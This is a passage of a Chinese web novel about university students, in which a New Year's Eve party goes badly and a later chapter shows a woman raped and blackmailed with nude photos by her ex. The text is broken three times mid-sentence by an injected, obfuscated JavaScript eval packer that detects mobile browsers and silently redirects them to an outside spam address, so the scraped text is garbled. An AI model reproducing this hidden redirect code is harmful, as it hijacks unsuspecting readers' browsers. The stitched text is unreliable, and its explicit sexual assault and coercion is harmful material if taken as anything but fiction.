萧楠脸涨得通红,以2倍速飞快说完了邀约——作为一个学校辩论队的二辩,他的逻辑和口才在这一刻不知道跑到哪儿去了——他没说这个聚会是他组织的,也没说聚会场所是他向叶翔借的。其实,他自己都不知道刚刚那一段话的重点在哪儿。 他小心翼翼地问:“你来吗?”然后又补了一句,“我就在你宿舍楼下。” 我掀开遮得严严实实的窗帘一角,向外瞄了一眼,萧楠仰着头,崭新的Iphone在寒冷的空气里闪着寒光。 “我……我现在不……” 我不知道自己为什么要撒谎,这大概是人在巨大压力下不自觉的行为。每个人在这种情况下都会这么做。我默默安慰自己。 “咔哒”一声,门锁向左转了两圈,陈梦晓推门进来了。她迈着长腿,把手里的书往茶几上一扔,“你搞埋伏呢?” 她就着我的手向右一拽一拉,那个“在”字卡在我的喉咙里。突然,外面的世界暴露在我面前。 “这样不是亮堂多了?”陈梦晓心满意足地踱回客厅中央,往下一仰,躺倒在沙发上。微微侧身向前一探,把刘小叶扔在茶几上的漫画收入囊中,随手翻开,“成天把宿舍搞得跟蜘蛛洞一样,不利于身心健康!” 我欲哭无泪,电话里传来了萧楠愉悦的声音,“我看到你了!” “那个……我还有好几门课没复习。” “你哪门课没把握?我可以给你开小灶补课。”萧楠开心地说。 他原先不知道为什么电视剧里的桥段大多是学霸男喜欢成绩差的女孩子,他一直想不明白为什么有人喜欢笨女孩。他们仨都有厌蠢症,叶翔频频炫耀凌静宜多聪明,这让他俩很嫉妒。眼下他巴不得周小西是超级无敌大学渣,这样就能用补课的名义接近她了。名正言顺。 “那倒不用了。”我恨不得咬掉自己的舌头。周小西,拒绝别人没什么不好意思的,大声说“我不想去”有那么难吗?——我的心里有个小小的声音嘀咕,“不难你倒是说啊!”,可话到了嘴边变成了“都有谁啊?我不习惯跟陌生人一起玩儿。” 萧楠的眼睛亮了,“放心放心,都是你认识的……” 那就是说,肯定是叶翔和陆亦他们。 “有女生吗?” 萧楠瞬间顿住了,去叶翔家聚会,凌静宜应该在吧?陆亦说他去约陈梦晓,可不知道能不能成功。至于简瑞洺他们公司,多多少少……会有女生吧?他摸不准这个问题的正确答案是什么。回答有女生,周小西会不会怀疑自己是海王;可一屋子都是男生,大概她不会去。 “可能……会有。”突然,他脑子里闪过一个人,他有女朋友,回头邀请他带女朋友去不就好了。 我正准备拒绝,萧楠又补了一句:“真的都是熟人,叶翔、陆亦、简瑞铭……” 突然听到了简瑞洺的名字,我的耳膜里像被人丢进了一个炸弹,轰鸣声不断。 色令智昏。接受邀请意味着,我能近距离接近简瑞洺。 心脏噗通噗通跳得飞快。可我要去了,刘小叶怎么办?复杂而矛盾的情绪来回拉扯。 我犹豫了几秒钟,咬了咬嘴唇,问:“那……我能带人去吗?” “当然可以。只要你愿意来。” “你把地址发给我吧……我考虑一下。拜拜。” 萧楠没来得及说拜拜,另一通电话插了进来,是叶翔。他只能迅速道了再见,转移过去。 “喂……你怎么自己组局到现在还没到?今晚还来不来了?” 萧楠简直要咬牙切齿了,叶翔压根不是关心聚会情况,他纯粹就是打来炫耀的。虽说这个聚会是萧楠提议的,可叶翔才是实打实的推动者和组织人。 “马上出发了。” “你约到人了吗?” “快了。” 萧楠挂了电话,惴惴不安:周小西不会要带男孩子去吧?他兀自懊恼自己为什么不脸皮厚一点,问清楚到底带谁去。眼下他只能心神不宁苦着脸站在风里。他把地址发给了周小西,没有收到她的回复。一步三回头,走出了铭盛校园。 心跳渐渐平复,转头问陈梦晓要不要一起去。可刚刚还蜷在沙发里的人不知道什么时候走了。我以为她回房间了,可去敲门没有人应。喊了她两声,依然没人应,要不是茶几上摆着一本《钢铁是怎么样练成的》,我都以为自己出现了幻觉。小陈哥是什么时候走的呢? 思来想去,与其让刘小叶在宿舍里哭,还不如带她出去玩儿。 我冲进房间,刘小叶仍在泪眼婆娑地抱着枕头,“晚上跟我去跨年聚会吗?” “去哪儿啊?” “叶翔家。” “我不想出去。 她牙齿打颤,“我受到了惊吓。” “你想清楚啊……是一个人待着还是跟我去派对?” 她抽搭了两声,“让我想一想……刚刚是不是有人回来了。” “对。小陈哥刚回来了。不过她又出去了。”我打消了刘小叶的幻想,“要是我走了,你真的是一个人。” 她哭丧着脸。 我给凌静宜打了个电话。虽说是萧楠发出的邀请,可是在叶翔家聚会,瓜田李下,还是提前跟凌静宜报备比较稳妥。我暗暗鄙视了下自己,简瑞明这三个字是什么咒语吗?一听到他的名字,我就发昏。 我结结巴巴说明了情况,没想到凌静宜表现得非常康卡大方,她让我赶紧去,说她已经到了。 什么情况?她不是应该在家欢乐今宵吗? “别问。晚点我告诉你。”凌静宜好像通过电话线看到了我脸上的疑问,制止我发问。 我们似乎都偏离了自己的计划,在脱轨的道路上一路狂奔。 哦,不,许苑薇早就背着书包去图书馆了,郑筱去面试了。偏离路线路线的只有我、凌静宜和刘小叶。可能,还得加上陈梦晓。我不确定她是不是提早去吃晚饭了,接下来按照她原定计划在宿舍打游戏。我给她打电话没人接。 刘小叶揉着她红肿的眼睛,“我们什么时候走?是去叶翔家吃晚饭吗?” 我没回答她,电话响了。是Jacob,“周小姐,我大概二十分钟后到。麻烦您到南门等候。” 从我们宿舍到南门走路十五分钟,我本来还在发愁,今天这个时间点,大概要等很久公交车。 看来没时间等小陈哥回复了,“好的,我们马上出发。” Jacob车开得飞快,天渐渐黑了下来,一盏接一盏的路灯渐次亮起。我们把荒凉抛在了身后,向着繁华疾驰。 如果我能以上帝视角观望我们的人生,便不会因受到蛊惑而改变原先的计划。可惜我只是凡夫俗子,我被欲望驱使,做出了错误的决定。命运也许早就预见了,可它只是两手插兜,看着我们一步一步陷入窘境。 今天的路况出乎意料的好,原本一个半小时的车程只用了一小时不到。 Jacob把我们送到后,让我们跟他老板打个招呼,直接开车走了。看他火急火燎的样子,大概是有约会。 我敲门,一个陌生男生来开的门,他先是一愣,随即脸上一红,结结巴巴地问:“你们……你们也是来参加聚会的吗?” 屋子里挤满了人。 刘小叶和我都被吓到了,我企图穿过一堆平均身高180的大高个们的视线堵截,在他们当中找到凌静宜。一堆穿着暗色帽衫男生看向我们,原本嗡嗡作响嘈杂的交谈声停住,整个空间突然安静了。我们俩噤若寒蝉,头皮发麻。别说我,连刘小叶这种超级外向份子都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054513|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些发怵。她舔了舔嘴唇,“好多……人。” “嗯。” “我们怎么办?” 我牵着刘小叶,那些男孩子自觉分开道,让我们过去。他们羞涩腼腆,偶尔有一两个胆子大的走上前来,大概想搭讪,被旁边人一把拉住。 叶翔看到了我们,他不动声色戳了戳萧楠。萧楠转过身,他穿着镶着亮片的紫色毛衣,和平时很不一样。可也跟周围的人格格不入。 “这里。”凌静宜站在楼梯上,朝我们招手。 我跟叶翔和萧楠打了招呼,低着头直奔二楼。 二楼单独开了一桌,桌子上摆着好几支极品红酒和两个酒杯。 “怎么才来?我不是让Jacob去接你们了吗?”凌静宜抱怨。 这个空间居高临下且相对私密,楼下一览无余。 客厅里的餐桌被挪到了中间,还有几张铺着白色餐布的长条桌上面摆放着各种吃的,还有几个侍应生端着酒瓶和杯子,来回给众人添酒。像极了茶歇午餐会。 凌静宜似乎心情不太好。她倒了一杯酒,一口灌了下去。 “路上有点堵车。”我脱掉外套,“你不是今天回家了吗?” “别提了。”她恶狠狠地吐槽,“我爸简直脑子有病!”她又喝了一口酒。 刘小叶远离了众人,马上不怂了。她饶有兴致地趴在栏杆上,望着楼下那一堆男生,“这些都是什么人啊?你别说,有几个男生长得还帅的,你们过来看呀。” 凌静宜翻了个白眼,“你要不要叫得再大声点,让所有人都知道我们仨是色女。” 刘小叶不说话了,一双眼睛还是滴溜溜地转着看帅哥。 我向下望去,扫视寻找简瑞洺。一个在角落里的男生抬头向上看,我们的目光正好对上。心脏漏掉一拍。 众里寻他千百度,那人却在灯火阑珊处。真是绝妙好词。 装作不经意地移开目光。凌静宜仰头又灌了一整杯下去。 “你喝这么猛,不怕醉了?”我伸手去抢她的杯子。 凌静宜把杯子往身后一藏,斜睨我一眼,“你们来了,我怕什么?” “那我们要是不来呢?” “你们不来,这是叶翔家,我也不怕。还能有人怎么着我?” “说说怎么回事?” 她断断续续地说着,我听了个大概,跨年夜有个女人找上门,说怀了她爸的孩子。她妈气得砸了整桌饭菜。眼下家里乱作一团。她妈让她不要管,找个地方待着。 “据说是个男孩。”凌静宜嘲讽,“我马上要有弟弟了,搞不搞笑?都不知道是该说我爸不要脸还是老当益壮。” 我能理解,如果哪天莫名其妙冒出个弟弟,我和我妈大概也会疯。可是,怎么安慰她呢? 刘小叶像发现了大宝藏,神秘兮兮地退回我身边,附在我耳边,“你真的不考虑萧楠吗?无论从哪个角度看,他都很帅。360度无死角。这种极品,不要很浪……”突然,她没了声响,像被人扼住了喉咙。 我奇怪地转过头看她,她像被施了魔法一样,定在原地。忽闪的大眼睛里蓄满了泪水。顺着她的视线望过去,我看见了正跟萧楠谈笑风生的欧祈。 萧楠向我举了举手里的杯子,欧祈抬头向我们望过来,他愣了一下。然后,他的目光飘向了靠在我肩膀上的刘小叶。 刘小叶转过身去,抓起香槟瓶子对着嘴狂灌。我想提醒她,这是酒精不是白开水。可她的眼泪刷刷往下掉。 “我们约好了一起跨年!他一直都不接我电话!我们现在到底算什么?!”她每说一句,就恶狠狠地灌一口酒。她的委屈和不甘心,全部化成了震惊和愤怒。 凌静宜不满刘小叶抢了她的酒,愠怒道:“她发什么疯?!” “我看见欧祈了。” 凌静宜瞬间明白了,她狠狠地咬牙骂道:“这个狗男人!” 她的眼睛里有熊熊的火焰,我赶紧拦着她,生怕她冲下去给欧祈一个巴掌。 叶翔不时往楼上看,他终于发现二楼的气氛不太对。丢开同伴,他三步并作两步上了二楼。跟着他上来的还有萧楠。欧祈犹豫了片刻,也跟着上了楼。 我们像交响乐章当中的各个音符,却在命运这个作曲家的拨弄下在同一篇章中碰撞,共同交织出一首高低起伏的乐章。可是,这首乐曲对有些人来说是完美的欢乐颂,而对另一些人来说,却是悲怆的咏叹调。 刘小叶喝得又猛又急,眼见醉了大半。整个人摇摇晃晃,我只能用整个身体撑住她,她的脑袋重重倚靠在我的肩膀上。 欧祈站在离我们十步远的地方,一动不动。 我本以为他会从我手里接走刘小叶,至少关心一下她是不是喝醉了,有没有哪里不舒服。然而,事实证明,这不过是我的一厢情愿。 横了一眼萧楠,我克制不住自己的愤怒,“他怎么会在这?” “谁?”萧楠四处张望。 我的眼神越过他,看向他身后。 51.第 51 章 萧楠顺着我的眼光往后看,欧祈像一座雕塑,不知道在想什么。 “你说欧祈啊,他是我室友。”萧楠向前跨了一步,抬起左胳膊搂住叶翔肩膀,“除了这家伙和陆亦,他是我在S大最要好的朋友。” 叶翔拼命给他使眼色,脸都绿了。而他压根没注意到,兴致盎然地向后招招手,“欧祈,来呀,我介绍你们认识。” 一片死寂。 “眼瞎!”我咬了咬牙齿,准备架着刘小叶撤了。 萧楠回头找人,“哎,这一会儿功夫,人跑哪儿去了?” “你的狐朋狗友,刚刚落荒而逃了。”凌静宜冷哼。 凌静宜拎着酒瓶站了起来,叶翔上前一步,“别冲动,别冲动,有话好好说。” “我去厕所,你拦着我干什么!”凌静宜瞪了他一眼。 “有没有人能给我解释一下,到底是怎么回事?” 萧楠还没反应过来,电话响了。 他举着电话一脸懵,“欧祈说他先走了,让你们好好玩。” 我很生气,“他没长嘴巴吗?自己不会来说??!” 萧楠有些尴尬,“到底怎么了?你们认识吗?” 凌静宜啧啧了两声,望向叶翔,“他不知道就算了,你也由着那个人堂而皇之登堂入室。” 叶翔瞟了瞟刘小叶,“我也没想到,他不带女朋友自己来了。” 萧楠看看叶翔,再看看刘小叶,瞪大了眼睛,指着刘小叶问:“她?她是欧祈的女朋友?!” 这时刘小叶大声嚷嚷了一句“这里太热了!把空调关掉!”,她的脸颊红彤彤的,像一颗熟透了的苹果。然后呕的一声对着萧楠吐得稀里哗啦,萧楠那件紫色毛衣惨不忍睹彻底报废。旁边的叶翔被萧楠勾着肩膀,他迅速往旁边闪躲但仍然没有完全避开,被殃及池鱼,呕吐物飞溅到了他的鞋子上。 她摇摇晃晃地向那张扶手沙发椅走去,刚走到跟前,哇的一声又吐了。那张纯白色的沙发椅瞬间变成了秽物集中营。眼看着她要直直躺下去,凌静宜眼疾手快拉住了她,把她往我怀里一塞。 萧楠的脸涨得通红,他对叶翔说:“我负责搞定一张新的。” 叶翔苦笑着看了一眼那张古董沙发椅,脸快皱成了菊花。他懊恼地想,今天肯定是诸事不宜,一个跨年聚会能搞出七杀局,也是少有。 “不用你假好心。我们会赔的。”我感觉自己头顶快冒烟了,尽管理智告诉我不应该把气撒在萧楠身上,可情感上,我真的忍受不了。欧祈是他的朋友,物以类聚,人以群分,说明他俩都不是什么好东西,被骂也不冤枉。 “赔什么赔?”凌静宜把瓶子哐当一下放回桌上,动作优雅,响声粗暴。她的脸上依旧波澜不惊,凉凉地说:“要赔也不该我们赔,让那个不要脸逃跑的懦夫赔。” 萧楠的脸一会儿红一会儿惨白,像打翻了调色盘一样。 凌静宜才不管他尴不尴尬,从他身边像是没事人一样走过,瞟都没瞟他一眼,昂着头对着我说:“还不走?送她回去。我跟你们一起。” 叶翔的脸彻底垮了下来,他上前一步,拉着凌静宜的胳膊,“你这就要走?我送你们吧。” “不用!你招待好你们邀请来的客人。” 凌静宜的表现堪称大方得体且体贴懂事的好女朋友典范,可熟悉她的人知道,如果她表现得很客气,那说明她是真的把对方当作陌生人,不值得她生气,只需要秉承礼貌客气维持风度。 我费力地搀着刘小叶,这家伙自己不使一点力,全部重量压在我身上,害得我的愤怒打了折扣,“我们带她回去了,扫了你们的兴致,不好意思!” 凌静宜把她那只小巧的包夹在了腋下,从另一边把刘小叶架起来,她嫌弃地撇开头,“她到底喝了多少?臭死了!” 楼上的动静不算小,其他人慌乱得低头聊天,恨不得自己不在现场;所幸,没人关注他们,他们不停说话,用嘈杂的声响盖住二楼的动静。简瑞洺却不同,他站在角落里目不转睛看着楼上“小剧场”,好奇和探究的眼神像发现了猎物的狮子;如果萧楠看到他的表情,肯定会提高警惕,即刻进入宣示主权的战斗状态。 “你等一等,我换件衣服送你们。”萧楠皱着眉头,他一身污秽,急切地望向叶翔。后者正在抓狂和炸毛的边缘,作为一个重度洁癖,他现在面临着两难选择:要么扔掉自己心爱的古董沙发,要么送去清洗假装没事发生。可眼下那股刺鼻的呕吐味让他没办法思考,加上凌静宜冷冰冰的语气,感觉非常糟糕。 “这里没有衣服借你换。”他像只暴躁的猛犸象一样脚步沉重,“我的衣服都在隔壁。你不然去隔壁洗个澡。” 鬼知道他为什么同意把别墅借给萧楠搞跨年聚会! 凌静宜示意我帮忙,把她的手机从包里掏了出来。按下号码之后她的嘴巴里蹦出了一堆不知道是西班牙语还是意大利语的词汇——我一直觉得这两个国家的语言是近亲,叽里呱啦,抑扬顿挫。 叶翔眉头紧锁,“静宜,不要赌气。” 凌静宜没理他,我们扶着刘小叶下楼。叶翔跟着我们下楼,萧楠一路跟着。叶翔烦躁地对萧楠说:“你离我远一点。” 在楼梯转角处,凌静宜对着叶翔说:“Corina Merhasen答应把她的经典设计卖给我,一切顺利的话下个月能送到W市。我会让人给你送过来,就当赔沙发椅了。” 重色轻友这件事情,在我周小西的字典里不存在,似乎在凌静宜的字典里也不存在。 凌静宜捏着鼻子说:“刘小叶,你臭死了!”可她仍然搀着她的胳膊。 叶翔面色惨白,“静宜,我从来没说过要你们赔沙发。”他的眉头皱成了一道山丘,“我跟那个叫欧祈的才见过两次面,你这样不公平。” 凌静宜斜着眼睛看他,“什么叫公平?平安夜你不在现场?他今天来没带刘小叶,你居然让他进门!” 萧楠说:“一码归一码,他也许以为今天是纯男生聚会才……” “都是男生的聚会?!怎么,你们是有什么保留节目不能见人吗?” “没有的事儿!”叶翔脱口而出,“静宜,你讲讲道理。” “周小西,你先带刘小叶走,我倒是要跟某些人请教请教什么叫讲道理。”凌静宜拦在我们面前,扯着叶翔的衣领,“叶翔,你倒是跟我说说看什么叫道理?当场不给女朋友面子掉头就走叫道理?看女朋友醉生梦死不动于衷叫道理?没有是非观念叫道理?” “再怎么说,这也是他们之间的事情。” “不好意思,我就是爱管闲事,我就是看不得别人欺负我朋友。本来我不想跟你吵架!” 萧楠整个人要裂开了,手足无措,“小西,我不是故意的。” 刘小叶整个人歪在我身上,像一袋超过200斤的水泥。这袋水泥还湿哒哒得往下滴水——刘小叶的眼泪流在我脖子上,沿着锁骨顺利的滚进了我的衣服里。 我皱了皱眉头,考虑怎么把她拖到路边去打车。 “我送你们吧。”简瑞铭走了过来,他手里拿着车钥匙,对叶翔说:“时间不早了,我明天还要去趟公司,先走了。” 那些原先还在装作忙碌的男生们纷纷附和。 “对对对,还要发新版本,我们也要早点回去休息。” “今天的饭菜很不错,感谢招待。” 一个胖乎乎的男生端着餐盘,“今天不是发了版本了?明天还要回公司加班……” 没等他说完,旁边一个男生捂住他的嘴,“别说话了,那么多吃的还捂不住你的嘴。” 小胖子眼泪汪汪望向简瑞洺,眼神里满满求生欲。 简瑞洺示意他们先走,叶翔跟凌静宜在楼梯处吵架,萧楠对简瑞洺怒目而视。简瑞洺看向他,轻轻挡住鼻子,“你最好还是先去处理下。” 喧闹的派对戛然而止。 我咬了咬下嘴唇,“会不会弄脏你的车?” “没关系。”他微笑,嘴唇左边脸颊上出现一个又深 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15056986|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又圆的小酒窝,“我的车很便宜,而且我正好下周要送去洗。车里有点脏,希望你和你的朋友别介意。” 我感觉自己脸上发烧,赶紧低下头,装作查看刘小叶的状态。她歪在我的肩膀上,刺鼻的酒气冲得我脑袋发晕,她叽里咕噜地嘟囔着,我一个字都没听进去。 简瑞铭走出去,从车库里把车开出来,打开后座车门,我费劲把刘小叶塞了进去。 我侧过头时,看见陆亦和一个女孩子在小花园里。那个女孩子背对着我,个子很高,只比陆亦矮小半个头,短发上别着闪闪发亮的香奈儿发夹,剪裁合身的黑色羊绒大衣下面露出一截红色的裙边,裹在紧身打底裤里的两条腿又细又直。 这些男的,一个个朝秦暮楚,我要告诉陈梦晓别再搭理这个心口不一的伪君子。 刘小叶扑腾着从位置上直起身来,食指戳着窗户嚷了一声“小陈哥!” 然后又昏睡了过去。 车子里弥漫着奇奇怪怪的氛围,沉默和尴尬在彼此之间蔓延。 简瑞洺咳嗽了两声,右手搁在方向盘上,左手支着,手指轻轻敲打着车窗。于事无补。他微微侧身,换左手开车,右挪到仪表盘上,点击音乐播放。甲壳虫乐队《挪威的森林》倾泻而出。 音乐缓解了空间的逼仄,原先整个空间里充斥着他的呼吸和味道,我几乎透不过气来。清冽的如同冷杉一样的气息从他身上散发出来,沿着无形的曲线将我包裹其中,我脑袋发胀,无法思考。我想要打开车窗让外面冰凉的空气猛灌进来,这样我能清醒一点。 突然,他问:“你朋友……就骂人的那个,她叫什么名字?” 像一盆冷水当头浇下来,我觉得自己从头到脚都冰冰凉。 我无精打采地回答:“她叫凌静宜,金融系三班。你还有什么想问的?” 简瑞洺从后视镜窥视,她原本端坐在后面,身体微微前倾,有一种蓄势待发随时准备冲出车窗的紧迫感。眼下她的身体软了下去,像泄了气的皮球一样瘫在了后座。 “你叫周小西,对吗?”他局促地盯着前面一动不动,在他的世界里,女生比代码复杂得多。代码有各种嵌套模式,女生无规律可循。 我感觉整个空气里氧气像被稀释了,呼吸更加急促。这该死的空调是把空气都抽干了吗? 刘小叶把脑袋从我的颈窝里挪开,嘟嘟囔囔:“好烫。” 简瑞明拉了下衣领,默默把车窗摇了一半下来。 “还没自我介绍……我是简瑞明。” “我知道。”嘴巴在前面飞,脑子在后面追。恨不得捶自己一拳。 我全然不知,自己懊恼的样子在后视镜里一览无余。他轻轻笑了笑。没有再说话。 车子驶出市区,一路流光溢彩渐渐变为单调的两排路灯,黑暗掩映下的道路两侧小树影影绰绰得摇曳着。远处的山勾勒出朦胧的影像,整个世界空旷安静,音响里流淌出Liverpool Beat的《我想握住你的手》;再接下去是莫扎特的小夜曲,在这个冬夜里舒缓而迷人。 把我们送到学校门口,简瑞洺突然问:“你喜欢打游戏吗?” 我默默点了点头。 “那……以后内测可以找你吗?” “好。” 宿舍已经锁门了,我哐当哐当敲了半天门卫室。宿管大妈披着外套出来,满脸不高兴,其实换我干这工作也能理解,可没办法,只能恳求道:“阿姨,我们才晚了一会儿。能让我们进去吗?” “晚了就是晚了。晚一分钟都是晚了。这是规定。”大妈一副公事公办的模样。 我想了想,东摸西摸掏出两百块钱塞过去。阿姨迅速打开了小门,“声音轻点,以后别这么晚,只此一次,下不为例”。 把刘小叶弄上她的床,她沉沉地进入了梦乡,眼角还带着眼泪。我知道,我不应该在朋友难过的时候欣喜。可我抑制不住内心的快乐。怀揣着前所未有的幸福感,我抱紧被子,仿佛浑身浸泡在暖洋洋的温泉里,一遍又一遍回味。 52.第 52 章 郑筱走在建筑工地旁边的小路上,家教工作试课已经通过了。原本她计划寒假不回家,按时薪一个寒假能赚不少钱。可那一家人说要出去旅行,补课从下学期开始。她想寒假还是得再打两份工才行。 今天,她打电话给她妈,她妈说下学期只负担她的学费,生活费让她找她爸要。他们还是离婚了。郑筱知道,问她爸要,其实就是得她自己解决。在挂断电话的瞬间,她听见她妈嘟囔“女孩子读那么多书有什么用,迟早还不是要嫁人。” 郑筱咬了咬嘴唇,深深的危机感笼罩着她。现在只是不给生活费,接下来会不会不给学费?W市倒是不缺兼职机会,类似于KFC这种餐饮店招聘小时工的临时工作比比皆是,可大多数工作时薪微薄。她抱着胳膊,脑子里不断盘算,需要打几份工才能让自己维持学业和生活。不到万不得已,她不想申请助学贷款。 深深地呼吸。 突然一个人从后面捂住了她的嘴巴,往旁边的小树林里拖。她拼命挣扎,想起传闻说有女生被□□,惊恐抓住了她的心脏。她脚蹬手抓,那个人笑了,在她耳朵边轻轻说:“好久不见了,筱筱”。 她像被雷劈中了,脑袋里嗡嗡响着。更强烈的恐惧抓住了她,她差点忘记挣扎。突然,脖颈处一疼,她失去了知觉。 昏暗的灯光下,这里依稀是废旧的车库。郑筱缓缓醒过来,昏黄的灯光晃得她眼晕。 “我说过我会来找你的,筱筱,记得吗?”顾宇漫不经心地说。 郑筱像坠入了冰窟,浑身颤抖,“你要钱对不对?我都给你。” 她从裤子口袋和棉服口袋里摸出今天试课和兼职结算的两百多块,颤巍巍递到他面前,“这是我所有的钱,没有更多的了……” 顾宇看了一眼,一把拽过钱,一捻,“才这么点?打发叫花子呢?” “我今天身上只有这么多,等我回学校……回学校了我借钱转给你。” “你上次在电话里不是很横吗?不是说不会再给我钱,你不欠我的,是我欠你的吗?” 郑筱咬着牙不说话。 顾宇把钱往裤兜里一塞,直勾勾地盯着她,伸手摸她的脸,“两年不见,更漂亮了。” 郑筱把头偏向一边,眼神里的厌恶遮掩不住。她仍然很害怕,可她已经不是两年前的小女孩了,“顾宇,你已经拿了钱了,还想怎么样?” “想怎么样?”顾宇死死盯着郑筱的胸脯,“这么久没见,你想不想我?” 郑筱冷笑,“想你?做梦!” 顾宇扯住郑筱的胳膊,带着嘲弄的表情,“也是。你在外面这么快活,怎么会想我?你是不是有了别的男人?!” 郑筱偏过头不理他,“顾宇,我们已经没有关系了。我把能给你的钱都给你了,求求你,放过我吧。” “放过你?我在里面两年,可是一直想着你。你看看你,多好看!”顾宇轻轻抚摸着她的头发,“你是不知道我在里面过的是什么日子!两年了,连个母的都看不见。” 顾宇捏住郑筱的下巴,凑到她面前,嘴巴里面的酒气冲得她想要呕吐。头发大概好几天没洗了,几缕油乎乎地挂在前额上。不知道多久之前染过的头发已经褪色,斑驳的颜色像是脱落的墙皮。 郑筱往后退一步,挣开顾宇的钳制,从侧面绕开他向门口冲过去。 “想跑?”顾宇一把拽住她的头发,把她掼在床上,“跑什么?你以前不是很喜欢被我上吗?” 郑筱觉得自己要吐了,她以前怎么会觉得他痞痞的样子很帅呢?现在她只觉得恶心。 他的脸看上去还是跟以前一样,可他身上的味道和此刻的嘴脸让她厌恶,她不能再让他得逞,那些黑暗的日子如果再来一次,她宁愿去死。 “你别过来,否则我不客气了。” “我倒要看看怎么个不客气法。”他把她压在了身下,嘴里不干不净地辱骂:“臭娘们,上了大学就金贵了?又不是第一次被老子上了,装什么装?!老子现在就让你看看,你能不能飞出我的五指山。” 顾宇一把扯开了郑筱的内衣,郑筱又蹬又咬,可惜如蚍蜉撼树。身体上的疼痛比不上内心的绝望,她不甘心,她奋力弓起身子抵抗,难道她又要被这个人渣□□一次?任凭她怎么撕扯踢咬,都敌不过顾宇的力气。 “别敬酒不吃吃罚酒,以前不是求着老子干你……” 顾宇说话时,郑筱的指甲狠狠抓破了顾宇的脸,出现一条鲜红的血痕。他吃痛,卸了点力,郑筱猛地推开他,爬起来就跑。他扯住她的头发拖回来,狠狠地扇了她几耳光,郑筱精致的面孔肿了……他不停在她身上动作着,“小浪蹄子,让你跑!老子这就让你爽!” 郑筱放弃了反抗,任由顾宇趴在她身上起伏。她不知道时间过了多久,像过了一整个世纪。 顾宇穿好衣服,心满意足地笑了。郑筱如同破碎的人偶娃娃,眼神空洞。他像想起什么,掏出手机,对着郑筱咔擦咔擦拍了几张照片。郑筱惊恐地瞪大眼睛,双手慌乱遮挡自己的敏感部位,“你干什么?!” “以后叫你就来,否则我就把你的裸照发到网上。” 她扑上前想要抢回手机,顾宇往旁边一闪,手一扬,躲开了。 “为什么要这么对我?为什么?!”郑筱以为自己不会再流泪了,可眼泪不断落下。 顾宇依旧一副吊儿郎当的样子,“你乖乖听话,不就什么事都没有了。我们可以回到以前。” 回到以前?那还不如让她去死。郑筱颤巍巍地拢着胸前的衣服,手一直发抖。她强迫自己冷静下来,不能就这样让顾宇拿到她的把柄,她必须要拿到他的手机。 她强装镇定,直直看向顾宇,问:“你怎么知道我在这里?” 顾宇盯着她的眼睛,露出玩味的笑容,“你不如问问你的好姐妹,那个叫林依依的。” “你对她做了什么?!!”郑筱挣扎着从地上爬起来,一把揪住顾宇的衣服。 顾宇瞥了她一眼,任由她抓着他的衣服,笑得愈加放肆,“我什么都没做。我一提到你的名字,她就把你所有的事都告诉我了。” 郑筱愣住了,她没有松手,呢喃着:“我不相信。” 顾宇挥开她的手,捡起外套拍一拍,嘲笑道:“你还是那么蠢!蠢得可爱!你们女人的所谓友谊,一文不值!”他邪恶得晃了晃手机,“记得,随叫随到。” 顾宇走了很久,郑筱依然坐在那里,像个支离破碎的玩偶。直到风哐当哐当地吹着门框,才把她拉回了现实。外面的天昏沉阴暗,仿佛马上就要下暴雨。 她曾经隐隐约约有猜测,可她不愿意深想。此刻,她整个人像浸在凉水里一样,冰冷刺骨。她觉得恶心透了,整个世界都像泡在肮脏的血水里,污秽流了一地。 郑筱慢慢地掏出手机,给林依依打了个电话。 “顾宇来找我了。” “啊?怎么会这样呢?你没事吧?” 郑筱冷冷地“哼”了一声,“我还真要感谢你这么关心我……关心到要把我的行踪告诉顾宇那个王八蛋!” “筱筱,你听我解释……我不是故意的。”电话那头传来了娇弱而惊恐的声音,“那个混混在我家小巷子里堵我,我吓坏了!我吓坏了呀!!” 郑筱嘲笑自己,居然会把自己的学校和地址告诉林依依,她甚至给她寄过复习书籍,鼓励她好好复读……顾宇说得没错,她是蠢,蠢透了,她很想对着话筒嘶喊“你是我最好的朋友!!你为什么要背叛我?!” 林依依不断用她特有的娃娃音诉说顾宇打肿了她的脸,还威胁要□□她,杀了她全家,她是万不得已才把郑筱的电话和地址告诉他的。 郑筱盲目地听着那些虚伪可笑的借口,随后啪的一声挂断了电话。 伤害与背叛成为了她生命的主旋律,如果让她定义生命的颜色,除了浓墨一样的黑色,别无其它。 郑筱拢了拢被撕破的衣服,从地上哆哆嗦嗦地爬起来。温度已经降至零下,W市却一直没有下雪,在她的家乡,这个时候已经大雪纷飞。可是,就算是纯白的雪也无法洗清这世间的污垢。寒风从四面八方以她为中心疯狂涌动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061670|161687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 